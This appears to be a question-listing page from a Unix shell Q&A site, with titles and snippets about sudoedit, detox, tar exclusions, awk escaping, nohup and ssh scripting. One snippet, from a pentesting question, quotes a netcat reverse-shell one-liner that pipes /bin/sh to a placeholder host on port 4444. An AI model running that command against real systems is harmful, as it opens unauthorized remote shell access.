All Questions
616
questions
0
votes
0
answers
36
views
Trying to understand telnet behavior and pentesting reverse shell in Unix
The first not working for me and the second working on telnet session, Unix:
What is the difference between:
.RUN rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 4444 >/tmp/f
And ...
1
vote
0
answers
74
views
How to let root use sudoedit as if it was a user?
I'm writing a wrapper for myself around vim that detects when the user's trying to edit a file that doesn't belong to them, and suggests sudoedit or visudo instead. I want to use sudoedit rather than ...
1
vote
0
answers
60
views
How to detox filenames in a bash script with no errors posted?
OS: Kubuntu 22.04.4 LTS x86_64
detox 1.4.5
To display above:
neofetch --stdout |grep 'OS:'
detox -V
Here is a toxic filename, starts with s1:
s1 Ä Ö Ü - ä ö ü Science & < > " 1 \ 2 ⁄ 3 ...
0
votes
1
answer
275
views
Broken pipe, write error: An epidemic of unnecessary output
In the last few months, a problem has been spreading across my systems. That of broken pipe errors:
# Solution:
# silenced by replacing /bin/bzip2 -> bzip2-reference
# to /bin/...
2
votes
1
answer
52
views
How can I use the last changed file as an argument in linux?
I'm thinking of using the last changed file as an argument to commands like ls, echo, or cat, is there a simple and efficient way? this question arose when I was faced with analyzing the latest log ...
1
vote
1
answer
371
views
Shell command to tar directory excluding certain folders
In Bash 4, I want make a tar.gz with excluded folders, and while tons of answers about this simple case exist, nothing works in my case.
I would like to keep the directory mentioned in exclude, ...
0
votes
2
answers
466
views
awk string replacement - properly escape '&' character
I am working on one of our applications to update the docker image from using static configs for each environment to a single template using dynamic variable insertion with awk. Our Dockerfile calls a ...
0
votes
1
answer
918
views
tail -f nohup.out gives cannot open 'nohup.out' for reading: No such file or directory
I connected to a remote server using ssh protocol and launched this command in order to run my python script remotely:
nohup python3.8 -u sab.py > log_15_09_2023.txt &
This works fine since if ...
1
vote
1
answer
1k
views
How do I create a shell script that will exit the ssh session after executing the remote commands
I'm trying to write a bash script to compile and deploy some code to a remote server. So far I have been struggling to figure out how to get the script to exit the ssh session. I thought I could just ...
0
votes
1
answer
361
views
Why UNIX socket files end with and equal sign in ls?
When I list (ls) files in directory, I see the equal sign = after some files. All these files in my case are UNIX domain socket files:
user@Debian11:~/src/unix_sock$ l
a.out* cli_stream* ...
1
vote
1
answer
2k
views
Find command in IBM AIX
I would verify that files in the location listed may not have both the other-write and any execute permissions set.
This requirement to be applied recursively to files contained within subdirectories.
...
1
vote
1
answer
1k
views
Unix/Linux "shutdown": How to prevent wall message and terminal blocking?
I'm making a script that adds a layer of functionality on top of the shutdown command. It's intended to schedule a shutdown a while into the future, and sends out it's own wall message.
How do I ...
5
votes
1
answer
498
views
Unix script with a trap inside ssh
My plan is to write a script to debug a remote web server.
Since the debug port is blocked by the firewall, I need to forward the remote port via ssh to my local machine. This part is working fine.
...
0
votes
0
answers
109
views
Batch file using WinSCP won't execute UNIX shell script that assigns variables to output of "more" command
I am working with a Batch script that uses WinSCP to transfer files from an UNIX machine to a windows machine.
To achieve this, WinSCP has to call shell scripts on the UNIX side.
There is one shell ...
0
votes
1
answer
307
views
Need to iterate Backwards in a linux/unix path
I have a script that would have multiple paths (folder names).
Each folder path would have a Dockerfile, but its uncertain at what level that file would exist.
Lets say my path is "v1/airflow/1....